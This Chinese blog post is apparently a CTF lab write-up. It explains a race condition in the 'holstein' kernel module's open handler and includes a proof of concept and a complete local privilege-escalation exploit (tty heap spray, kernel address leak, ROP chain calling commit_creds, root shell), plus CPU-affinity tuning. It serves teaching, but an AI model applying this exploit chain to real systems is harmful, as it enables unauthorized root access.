通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4
这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4
open
模块相较于LK01-3
增加了锁的判断,当执行过open
模块之后,mutex
会被设置为1,这样可以避免第二次执行open
模块时,有两个文件描述符指向同一块内存。
static int module_open(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_open called\n");if (mutex) {printk(KERN_INFO "resource is busy");return -EBUSY;}mutex = 1;g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);if (!g_buf) {printk(KERN_INFO "kmalloc failed");return -ENOMEM;}return 0;
}
例如以下代码,连续执行两遍open
模块时,第二次执行会返回-1
。
#include <stdio.h>
#include <fcntl.h>
int main()
{int fd1 = open("/dev/holstein",O_RDWR);printf("fd1:%d\n",fd1);int fd2 = open("/dev/holstein",O_RDWR);printf("fd2:%d\n",fd2);}
image-20230921160911373
单线程下执行的流程如下。
image-20230924124535907
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open
模块时,在处于判断mutex = 1
这个赋值操作之前,而在mutext == 1
这个判断语句之后切换到线程2,那么线程2在执行mutext == 1
时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open
模块,从而获得指向g_buf
的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf
的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF
漏洞的利用。
image-20230924125005531
POC
为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open
模块。我们需要注意以下几点。
-
• 首先是
POC
使用了3
与4
作为新打开的文件描述符,这是因为0
,1
,2
是标准流,因此新打开的文件应该是从3
开始分配。但是避免不是从3
开始分配,我们可以使用作者提供的exp
,打开临时文件去判断下一个文件描述符是什么。 -
• 其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过
open
模块获取了文件描述符,那么mutext
已经被设置为1
,那么就不会存在mutext
被设置为1
之前的情况了。 -
• 然后在文件描述符为
4
的时候,说明已经通过条件竞争成功执行两次open
模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3
,而线程二获取的文件描述符为4
,但是线程1
先进入了if (fd != -1 && success == 0)
的判断,那么就会把文件描述符3
给关闭了,就导致即使正常执行了两次open
模块,但是只有4
能够使用。 -
• 最后就是验证
3
和4
是否指向同一块内存了。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}int main()
{pthread_t thread_id1, thread_id2;if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);if (strcmp(temp, "abcdefg")){puts("fail\n");exit(-1);}printf("sucess\n");
}
run.sh
这里可以看到-smp
的选项为2
,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
#!/bin/sh
qemu-system-x86_64 \-m 64M \-nographic \-kernel bzImage \-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \-no-reboot \-cpu qemu64,+smap,+smep \-smp 2 \-monitor /dev/null \-initrd initramfs.cpio.gz \-net nic,model=virtio \-net user \-s
exp
因此提权的过程则是首先使用条件竞争的漏洞使得open
模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF
漏洞,并且分配大小属于tty
结构体的范围内,因此通过堆喷使得tty
结构体被控制,紧接着篡改ops
指针为栈迁移的gadget
地址,配合ioctl
函数控制rdx
寄存,将栈迁移到g_buf
上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode
的序列完成提权操作。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0unsigned long user_cs, user_sp, user_ss, user_rflags;void backdoor()
{printf("****getshell****");system("id");system("/bin/sh");
}void save_user_land()
{__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_sp, rsp;""mov user_ss, ss;""pushf;""pop user_rflags;"".att_syntax;");puts("[*] Saved userland registers");printf("[#] cs: 0x%lx \n", user_cs);printf("[#] ss: 0x%lx \n", user_ss);printf("[#] rsp: 0x%lx \n", user_sp);printf("[#] rflags: 0x%lx \n", user_rflags);printf("[#] backdoor: 0x%lx \n\n", backdoor);
}int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}
int main()
{pthread_t thread_id1, thread_id2;int spray[200];save_user_land();if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);printf("temp:%s\n", temp);if (strcmp(temp, "abcdefg")){puts("failure\n");exit(-1);}if (!strcmp(temp,"abcdefg")){printf("sucess\n");close(4);for (int i = 0; i < 50; i++){spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1){printf("error!\n");exit(-1);}}char buf[0x400];read(3, buf, 0x400);unsigned long *p = (unsigned long *)&buf;for (unsigned int i = 0; i < 0x80; i++)printf("[%x]:addr:0x%lx\n",i,p[i]);unsigned long kernel_address = p[3];unsigned long heap_address = p[7];if ((kernel_address >> 32) != 0xffffffff){printf("leak error!\n");exit(-1); }elseprintf("leak sucess\n");unsigned long kernel_base = kernel_address - 0xc3afe0;unsigned long g_buf = heap_address - 0x38;printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);//getchar(); *(unsigned long *)&buf[0x18] = g_buf;p[0xc] = push_rdx_pop_rsp + kernel_base;//for (unsigned long i = 0xd; i < 0x80; i++)// p[i] = g_buf + i;int index = 0x21;p[index++] = pop_rdi_ret + kernel_base;p[index++] = 0;p[index++] = prepare_kernel_cred + kernel_base;p[index++] = pop_rcx_5 + kernel_base;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = mov_rdi_rax + kernel_base;p[index++] = commit_creds + kernel_base;p[index++] = swapgs_restore + kernel_base + 22;p[index++] = 0;p[index++] = 0;p[index++] = (unsigned long)backdoor;p[index++] = user_cs;p[index++] = user_rflags;p[index++] = user_sp;p[index++] = user_ss; write(3, buf, 0x400); ioctl(4, 0, g_buf + 0x100); }return 0;
}
CPU Affinity(CPU 亲和性)
这里作者用了CPU Affinity
提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1
绑定在CPU 0
上运行,线程2
绑定在CPU 1
上,那么使得线程1
与线程2
可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU
集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity
函数设置 CPU
亲和性。
#define _GNU_SOURCE
#include <sched.h>...cpu_set_t t1_cpu, t2_cpu;CPU_ZERO(&t1_cpu);CPU_ZERO(&t2_cpu);CPU_SET(0, &t1_cpu);CPU_SET(1, &t2_cpu);
...if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0){fprintf(stderr, "thread error\n");return 1;} void *thread_function(void *arg) {cpu_set_t *cpu_set = (cpu_set_t *)arg;int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);...
}
相关文章:

通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于…...
vue实现换肤功能
1、使用scss定义几种需要进行换肤的颜色,例如: .font-color-theme{[color-theme"black"] & {color: #000}[color-theme"white"] & {color: #fff} }2、使用以下代码控制变化; let colorType localStorage.getIt…...
嵌入式软件工程师面试题——2025校招社招通用(八)
说明: 面试题来源于网络书籍,公司题目以及博主原创或修改(题目大部分来源于各种公司);文中很多题目,或许大家直接编译器写完,1分钟就出结果了。但在这里博主希望每一个题目,大家都要…...
背包笔记
01背包 朴素版01背包 cin >> n >> m; f[0][0] 0; for(int i 1; i < n; i ) {for(int j 0; j < m; j ){f[i][j] f[i - 1][j];//第i个物品不选if(j - v[i] > 0){f[i][j] max(f[i][j], f[i - 1][j - v[i]] w[i]);//选第i个物品}} }cout << f[n…...
【Redis 速通】Redis 在 Linux 上的单机服务快速搭建与部署(附完整流程步骤及命令代码)
Redis 单机版安装与部署 Written By: Xinyao Tian 概述 本文档主要描述了 Redis 的生产环境安装及配置方法。 主要步骤 编译及安装 进入 root 用户并上传 Redis 源码安装包 查看 Redis 源码安装包的上传情况: [rootcentos-host redis]# pwd /opt/redis [root centos-ho…...

前端JavaScript
文章目录 一、JavaScript概述JS简介1.ECMAScript和JavaScript的关系2.ECMAScript的历史3.什么是javas?4.JavaScript的作用? 三者之间的作用JS基础1.注释语法2.引入js的多种方式3.结束符号 变量与常量变量1.JavaScript声明2.var与let的区别常量 基本数据类…...

C语言程序设计(第五版)谭浩强 第三章课后题答案
第三章 1、假如我国国民生产总值的年增长率为7%, 计算10年后我国国民生产总值与现在相比增长多少百分比。计算公式为 ,其中r为年增长率,n为年数,p为与现在相比的倍数。 #include<stdio.h> #include<math.h>int main(){float r,…...

uni-app 解决钉钉小程序日期组件uni-datetime-picker不兼容ios问题
最近在使用uni-app开发 钉钉小程序 ,遇到一个ios的兼容性问题 uni-datetime-picker 组件在模拟器上可以使用,在真机上不生效问题 文章目录 1. 不兼容的写法,uni-datetime-picker 不兼容IOS2. 兼容的写法,使用 dd.datePicker 实现。…...

【C++入门 三】学习C++缺省参数 | 函数重载 | 引用
C入门 三 1.缺省参数1.1 缺省参数概念1.2 缺省参数分类 2. 函数重载2.1 函数重载概念2.2 C支持函数重载的原理--名字修饰(name Mangling) 3.引用3.1引用概念3.2引用特性3.3 常引用3.4 使用场景1. 做参数2. 做返回值 3.5 传值、传引用效率比较3.6引用和指针的区别 4.引用和指针的…...

视频增强修复软件Topaz Video AI mac中文版支持功能
Topaz Video AI mac是一款使用人工智能技术对视频进行增强和修复的软件。它可以自动降噪、去除锐化、减少压缩失真、提高清晰度等等。Topaz Video AI可以处理各种类型的视频,包括低分辨率视频、老旧影片、手机录制的视频等等。 使用Topaz Video AI非常简单ÿ…...
C# 使用Thread类建线程
C# 使用Thread类建线程 目录 C# 使用Thread类建线程引言Thread类启动线程优先级后台运行线程状态线程名称线程ID最后 引言 线程(thread)是操作系统能够进行运算调度的最小单位。它被包含在进程之中,是进程中的实际运作单位。线程是我们程序常用的并行运行控制手段,…...
asyncio协程框架
asyncio 基本用法 asyncio 包含以下几个主要的组件:协程 asyncio 支持使用 async/await 语法定义协程(coroutine)。协程是可以暂停和恢复执行的函数,可以实现非阻塞式的异步编程。 import asyncioasync def coroutine():print(H…...

TSINGSEE智慧安防:AI人员入侵检测算法的工作原理及应用场景概述
人员入侵检测算法基于视频分析技术,自动对视频画面进行分析识别,可以对危险区的人员闯入、靠近等行为进行实时进行检测并预警,无需人工干预,协助管理者对场所的安全问题进行监管,可以广泛运用在学校、园区、工地、车站…...

Python:PDF转长图像和分页图像
简介:随着电子化文档的普及,PDF文件的使用频率越来越高。有时我们需要将PDF中的内容转化为图片格式进行分享或编辑,那么如何才能轻松地完成此任务呢?本文将为你展示一个Python工具:如何将PDF文件转化为图片,…...
第48天:内置对象方法、 前端基础之BOM和DOM
内置对象方法 RegExp对象 // 定义正则表达式两种方式 var reg1 new RegExp("^[a-zA-Z][a-zA-Z0-9]{5,11}"); var reg2 /^[a-zA-Z][a-zA-Z0-9]{5,9}$/;// 正则校验数据 reg1.test(jason666) reg2.test(jason666)/*第一个注意事项,正则表达式中不能有空格…...
CMake系列EP02: 构建可执行程序和库
文章目录 cmake --buildmessage命令切换生成器使用ninja构建项目切换生成器的工作原理 构建和链接静态库和动态库add_library命令add_executable命令构建OBJECT类型的库条件编译opion命令option更多信息 指定编译器构建类型切换构建类型: 设置编译器选项cmake调试设…...

比亚迪今年的薪资。。
大家或许已经对比亚迪在西安的宣讲会有所耳闻,那场面真的是座无虚席。如果你稍微迟到了一些,那么你可能只能在门外或是走廊听了。 事实上,许多人早早地抵达了,只要稍微晚到,就可能错过了室内的位置。 更令人震惊的是&…...

【OpenCV实现图像找到轮廓的不同特征,就像面积,周长,质心,边界框等等。】
文章目录 概要图像矩凸包边界矩形 概要 OpenCV是一个流行的计算机视觉库,它提供了许多图像处理和分析功能,其中包括查找图像中物体的轮廓。通过查找轮廓,可以提取许多有用的特征,如面积、周长、质心、边界框等。 以下是几种使用…...
数仓建模—数仓建设概论
数仓建设概论 文章目录 数仓建设概论什么是数据仓库数据仓库对企业的意义1.全面掌握企业数据2.支持企业的决策制定3. 可靠性高怎么做数据仓库建1. 需求分析2. 设计数据仓库架构3. 数据采集4. 数据清洗5. 数据结构设计6. 数据分析7. 数据可视化8. 数据维护总结前面我们介绍了关于…...

Docker dnmp 多版本php安装 php8.2
Laravel9 开发需要用到php8.1以上的版本,而dnmp只支持到php8.0。安装php8.2的步骤如下: 1. 从/services/php80目录复制一份出来,重命名为php82,extensions目录只保留 install.sh 和 install-php-extensions 这两个文件 2. 修改.en…...
Distilling the Knowledge in a Neural Network【论文解析】
Distilling the Knowledge in a Neural Network 知识蒸馏 摘要1 引言摘要 提高几乎任何机器学习算法性能的一种非常简单的方法是在相同的数据上训练许多不同的模型,然后对它们的预测进行平均处理[3]。不幸的是,使用整个模型集合进行预测既繁琐又可能过于计算密集,特别是如果…...
基于深度学习的自动驾驶汽车语义分割与场景标注算法研究。
自动驾驶汽车是当前研究的热点领域之一,其中基于深度学习的语义分割与场景标注算法在自动驾驶汽车的视觉感知中具有重要作用。本文将围绕自动驾驶汽车的语义分割与场景标注算法展开研究。 一、研究背景 随着人工智能技术的不断发展,自动驾驶汽车逐渐成…...
国内可用超丝滑ChatGPT4.0(附网址及微信入口)
镜像网站的设置可以带来以下优势: 1.提高访问速度:由于镜像网站部署在全球不同的服务器上,用户可以从最近的服务器访问网站,从而减少延迟和提高加载速度。 2.增加可用性:如果主网站遭遇故障或网络拥堵,用…...

linux入门---线程的同步
目录标题 什么是同步生产者和消费者模型三者之间的关系消费者生产者模型改进生产者消费者模型特点条件变量的作用条件变量有关的函数条件变量的理解条件变量的使用 什么是同步 这里通过一个例子来带着大家了解一下什么是同步,在生活中大家肯定遇到过排队的情景比如…...

UI设计一定不能错过的4款常用工具
虽然设计审美很重要,但软件只是一种工具,但就像走楼梯和坐电梯到达顶层一样,电梯的效率显然更高,易于使用的设计工具也是如此。让我们了解一下UI设计的主流软件,以及如何选择合适的设计软件。 即时设计 软件介绍 即…...

JavaScript 基础 - 第2天
理解什么是流程控制,知道条件控制的种类并掌握其对应的语法规则,具备利用循环编写简易ATM取款机程序能力 运算符语句综合案例 运算符 算术运算符 数字是用来计算的,比如:乘法 * 、除法 / 、加法 、减法 - 等等,所以经…...
MyBatis和JDBC异同点
MyBatis和JDBC是两种不同的数据库访问技术,它们有以下几点区别: 抽象层级:JDBC(Java Database Connectivity)是Java提供的一种标准API,用于与数据库进行交互。它提供了一系列的接口和类,使开发人…...
关于yarn安装一些东西报错时的处理方法
The engine "node" is incompatible with this module. Expected version "^14.18.0 || ^16.14.0 || >18.0.0". Got "17.9.0"出现遮掩刮得错误时直接使用这个命令 yarn config set ignore-engines true 忽略错误就可以了 直接安装自己想安装…...

datagrip 使用自定义参数
两种使用方法: 1. 直接打问号❓,执行的时候会问你这个问号填什么 2. 设置参数,执行的时候会问你这个参数填什么 格式:${xxxx} xxxx是你定义的参数名字 SELECT ${column_name} FROM actor WHERE actor_id${actor_id} 执行就会问…...
css实现平行四边形按钮
当使用CSS实现平行四边形按钮时,可以使用transform属性和::before或::after伪元素来创建。下面是一个示例代码: <!DOCTYPE html> <html> <head> <style> .button {width: 150px;height: 50px;background-color: #4CAF50;color: …...